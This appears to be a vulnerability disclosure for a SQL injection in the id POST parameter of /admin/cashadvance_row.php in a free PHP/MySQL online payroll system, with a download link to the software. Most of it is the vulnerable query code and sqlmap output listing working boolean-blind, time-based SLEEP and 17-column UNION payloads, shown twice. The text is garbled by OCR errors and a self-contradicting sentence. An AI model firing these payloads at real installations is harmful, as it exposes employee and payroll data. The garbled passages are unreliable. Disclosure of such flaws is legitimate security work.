SQL injection vulnerability exists in id parameter of /admin/cashadvance\_row.php file of Online Payroll System in PHP and MySQL Free Download A Comprehensive Guide

Important user data or system data may be leaked and system security may be compromised. The environment is secure and the information can be used by malicious users.

```
if(isset($ POST['id'])){
             $id = $POST['id'];
$sql = "SELECT *, cashadvance.id AS caid FROM cashadvance LEFT JOIN employees on
 6
             employees.id=cashadvance.employee_id WHERE cashadvance.id='$id'";
             $query = $conn->query($sql);
 sqlmap identified the following injection point(s) with a total of 55 HTTP(s) requests:
Parameter: id (POST)
     Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause (subquery - comment)
Payload: id=-1' AND 6165=(SELECT (CASE WHEN (6165=6165) THEN 6165 ELSE (SELECT 6503 UNION S
ELECT 4296) END))-- -
     Type: time-based blind
     Title: MySQL ≥ 5.0.12 AND time-based blind (query SLEEP)
Payload: id=-1' AND (SELECT 2982 FROM (SELECT(SLEEP(5)))FYYS) AND 'KpYa'='KpYa
     Type: UNION query
     Title: Generic UNION query (NULL) - 17 columns
     Payload: id=-1' UNION ALL SELECT NULL, CONCAT(0×7178
 7a6271,0×796a6373417564617451757a54684d6459724d6576746d4c687a6574656362544c4b545653774b44,0×717
87a6271), NULL, NULL, NULL, NULL, NULL, NULL, NULL--
Parameter: id (POST)
     Type: boolean-based blind
     Title: AND boolean-based blind - WHERE or HAVING clause (subquery - comment)
     Payload: id=-1' AND 6165=(SELECT (CASE WHEN (6165=6165) THEN 6165 ELSE (SELECT 6503
UNION SELECT 4296) END))-- -
     Type: time-based blind
     Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
     Payload: id=-1' AND (SELECT 2982 FROM (SELECT(SLEEP(5)))FYYs) AND 'KpYa'='KpYa
     Type: UNION query
     Title: Generic UNION query (NULL) - 17 columns
     Payload:
                                                    UNION
                                                                            ALL
                                                                                                SELECT
NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, CONCAT (0x71787a6271, 0x796a6373417564
617451757a54684d6459724d6576746d4c687a6574656362544c4b545653774b44,0x71787a6271)
,NULL,NULL,NULL,NULL,NULL,NULL-- -
```

Source Download:

https://www.campcodes.com/projects/php/online-payroll-system-in-php/